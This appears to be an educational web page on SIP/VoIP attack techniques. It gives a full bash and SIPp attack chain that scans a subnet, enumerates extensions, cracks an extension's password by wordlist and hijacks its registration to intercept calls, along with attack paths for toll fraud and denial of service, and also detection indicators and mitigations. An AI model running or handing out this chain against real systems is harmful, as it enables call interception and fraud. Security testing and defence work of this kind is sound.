SIP Exploits Overview

SIP Exploits & Attack Techniques

Practical examples of SIP protocol exploitation techniques for security testing and research

VoIP Security
Exploit Code
Attack Techniques
Security Research

SIP Exploitation Techniques Overview

This section provides detailed technical examples of SIP protocol exploitation techniques used in security testing and research. These examples demonstrate practical approaches to exploiting SIP vulnerabilities, helping security professionals understand attack methodologies and develop effective defenses.

Warning: The exploit code and techniques presented here are for educational and research purposes only. Using these techniques against systems without proper authorization is illegal and unethical. Always conduct security testing in controlled environments with explicit permission.

The code examples provided may require modification to work in specific environments. They are simplified for clarity and educational purposes.

Exploit Categories

  • Authentication Bypasses: Techniques to circumvent SIP authentication mechanisms
  • Registration Manipulation: Attacks targeting SIP registration processes
  • Denial of Service: Methods to disrupt SIP services and infrastructure
  • Traffic Interception: Techniques for eavesdropping on SIP signaling and media
Exploit Difficulty Levels
Understanding technical complexity

Basic

Low Complexity

Simple techniques requiring minimal technical knowledge

Intermediate

Medium Complexity

Requires understanding of SIP protocol and basic scripting

Advanced

High Complexity

Complex techniques requiring deep protocol knowledge and custom tools

Detailed SIP Exploitation Techniques

SIP Registration Hijacking with SIPVicious
Demonstrates how to use SIPVicious toolkit to perform a registration hijacking attack.
Medium Complexity
Critical Impact

Impact

This exploit allows an attacker to intercept calls intended for a legitimate user by hijacking their SIP registration.

Detection Indicators

  • Multiple REGISTER messages from different IP addresses for the same extension
  • Rapid changes in registration Contact information
  • Authentication attempts from unusual IP ranges

Required Access

Network access to the target SIP server

Exploit Code

#!/bin/bash
# SIP Registration Hijacking Attack Demonstration
# WARNING: For educational purposes only

# Step 1: First, enumerate SIP users with SIPVicious svmap and svwar
# Find SIP server
echo "[*] Scanning for SIP servers"
svmap 192.168.1.0/24 -p 5060-5070

# Identify SIP extensions
echo "[*] Enumerating SIP extensions on target"
svwar -e 100-500 192.168.1.100

# Step 2: Attempt to crack authentication for discovered extension
echo "[*] Attempting to crack SIP extension 101 password"
svcrack -u 101 -d wordlist.txt 192.168.1.100

# Step 3: Once credentials are obtained, perform registration hijacking
# Create registration message with attacker's contact info
cat > register.xml << EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE scenario SYSTEM "sipp.dtd">
<scenario name="Register with Authentication">
  <!-- Initial REGISTER without authentication -->
  <send retrans="500">
    <![CDATA[
      REGISTER sip:[remote_ip] SIP/2.0
      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
      From: <sip:101@[remote_ip]>;tag=[call_number]
      To: <sip:101@[remote_ip]>
      Call-ID: [call_id]
      CSeq: 1 REGISTER
      Contact: <sip:101@[local_ip]:[local_port];transport=[transport]>
      Max-Forwards: 70
      User-Agent: SIPp/v3.5.1
      Expires: 3600
      Content-Length: 0
    ]]>
  </send>

  <!-- Expect 401 Unauthorized -->
  <recv response="401" auth="true">
  </recv>

  <!-- Send REGISTER with authentication -->
  <send retrans="500">
    <![CDATA[
      REGISTER sip:[remote_ip] SIP/2.0
      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
      From: <sip:101@[remote_ip]>;tag=[call_number]
      To: <sip:101@[remote_ip]>
      Call-ID: [call_id]
      CSeq: 2 REGISTER
      Contact: <sip:101@[local_ip]:[local_port];transport=[transport]>
      Max-Forwards: 70
      [authentication]
      User-Agent: SIPp/v3.5.1
      Expires: 3600
      Content-Length: 0
    ]]>
  </send>

  <!-- Expect 200 OK -->
  <recv response="200">
  </recv>

  <!-- Keep the call open for a while -->
  <timewait milliseconds="4000"/>
</scenario>
EOF

# Execute the registration hijack with SIPp
echo "[*] Performing registration hijack for extension 101"
sipp -sf register.xml 192.168.1.100 -s 101 -au 101 -ap 'password123'

echo "[*] Registration hijacking complete - calls to extension 101 will be directed to $(hostname -I | awk '{print $1}')"

Mitigation

Implement TLS for SIP signaling, enforce IP-based authentication policies, monitor for suspicious registration activities, and implement intrusion detection systems.

References

  • SIPVicious toolkit: https://github.com/EnableSecurity/sipvicious
  • OWASP VoIP Security and Testing Guide

SIP Exploitation Tools

SIPVicious
Suite of SIP security testing tools

SIPVicious is a set of tools that can be used to audit SIP-based VoIP systems. It includes tools for scanning, enumeration, and brute-forcing SIP servers.

ToolPurpose
svmapSIP server scanner
svwarSIP extension enumerator
svcrackSIP authentication cracker
SIPp
Traffic generator for the SIP protocol

SIPp is a performance testing tool for SIP protocol. It includes built-in scenario files for UAC, UAS, and can be used to generate various SIP traffic patterns.

FeatureDescription
XML ScenariosCustom SIP message sequences
Call Rate ControlAdjustable call generation rate
StatisticsDetailed performance metrics
Wireshark
Network protocol analyzer with SIP support

Wireshark provides comprehensive SIP protocol analysis capabilities, allowing for detailed inspection of SIP messages and call flows.

FeatureDescription
SIP DissectorDetailed SIP message parsing
VoIP AnalysisCall flow graphs and statistics
RTP AnalysisMedia stream analysis and playback

Common SIP Exploitation Scenarios

Enterprise VoIP System Compromise
Targeting corporate communications infrastructure

Attack Path

  1. External reconnaissance of SIP infrastructure
  2. Extension enumeration via SIP OPTIONS or REGISTER
  3. Authentication attacks against identified extensions
  4. Registration hijacking of compromised extensions
  5. Call interception or toll fraud exploitation

Critical Vulnerabilities

  • Weak SIP digest authentication
  • Lack of TLS for SIP signaling
  • Insufficient access controls at SIP edge
  • Unencrypted media streams (no SRTP)
Service Provider Infrastructure Attack
Targeting VoIP service provider systems

Attack Path

  1. Identification of SIP trunking infrastructure
  2. SIP flood attacks against border elements
  3. Malformed message attacks against SIP proxies
  4. Exploitation of SIP-PSTN gateway vulnerabilities
  5. Service disruption or unauthorized access

Critical Vulnerabilities

  • Insufficient rate limiting at network edge
  • Improper handling of malformed SIP messages
  • Weak authentication between SIP network elements
  • Inadequate monitoring and anomaly detection

Next Steps in SIP Security Research

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